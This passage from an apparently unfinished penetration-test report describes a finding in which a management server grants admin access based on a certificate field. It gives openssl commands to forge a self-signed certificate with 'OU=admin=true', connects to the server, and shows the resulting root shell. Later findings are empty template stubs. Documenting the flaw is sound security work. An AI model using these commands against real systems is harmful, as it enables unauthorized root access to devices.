2 Certificate,O=Secure_Systems_Inc.,OU=admin=true":
```

Knowing how the certificate is validated, an attacker can create a certificate with the same subject and organization and set the "admin" parameter to true. This can be done by using the following command:

```
1 openssl req -x509 -newkey rsa:4096 -keyout client.key
2 -out client.crt -days 365 -subj "/CN=Management_Client
3 Certificate/O=Secure_Systems_Inc./OU=admin=true"
```

After that a connection to the management server can easily established via openssl:

```
1 openssl s_client -connect 172.16.0.29:20321 -key client.key
2 -cert client.crt
```

The management server will accept the certificate and the attacker has root access to the DUT.:

```
read R BLOCK
Administrator access granted.
```

After that the attacker has root access to the DUT:

```
read R BLOCK
Administrator access granted.
ls
bin
boot
dev
etc
fde
home
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

su -

Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.

whoami
root
```

4.17.3 Evaluation of Results

Effort to Fix: **Medium**

The validation if an User is an admin shouldn't be done by a criteria of the certificate. Instead think about a better way to validate if an user is an admin, for example by using a secure password.

4.18 Finding 18 - Hard Coded Credentials

Classification: Information Disclosure Severity: **Medium**

4.18.1 Finding Impact

4.18.2 Finding Details

4.18.3 Evaluation of Results

Effort to Fix: **Medium**

How do you judge the individual technical findings (severity, likelihood)? What is your suggested remediation, if there is one? How can the customer validate their remediation is effective once implemented?

4.19 Finding 19 - Vulnerable OpenSSL Version

Classification: Vulnerable Software Version Severity: **High**

VERSION BEI STEVEN NOCHMAL NACHFRAGEN WEIL SCREEN VERGESSEN

CVE:

4.19.1 Finding Impact

4.19.2 Finding Details

4.19.3 Evaluation of Results

Effort to Fix: **Medium**

How do you judge the individual technical findings (severity, likelihood)? What is your suggested remediation, if there is one? How can the customer validate their remediation is effective once implemented?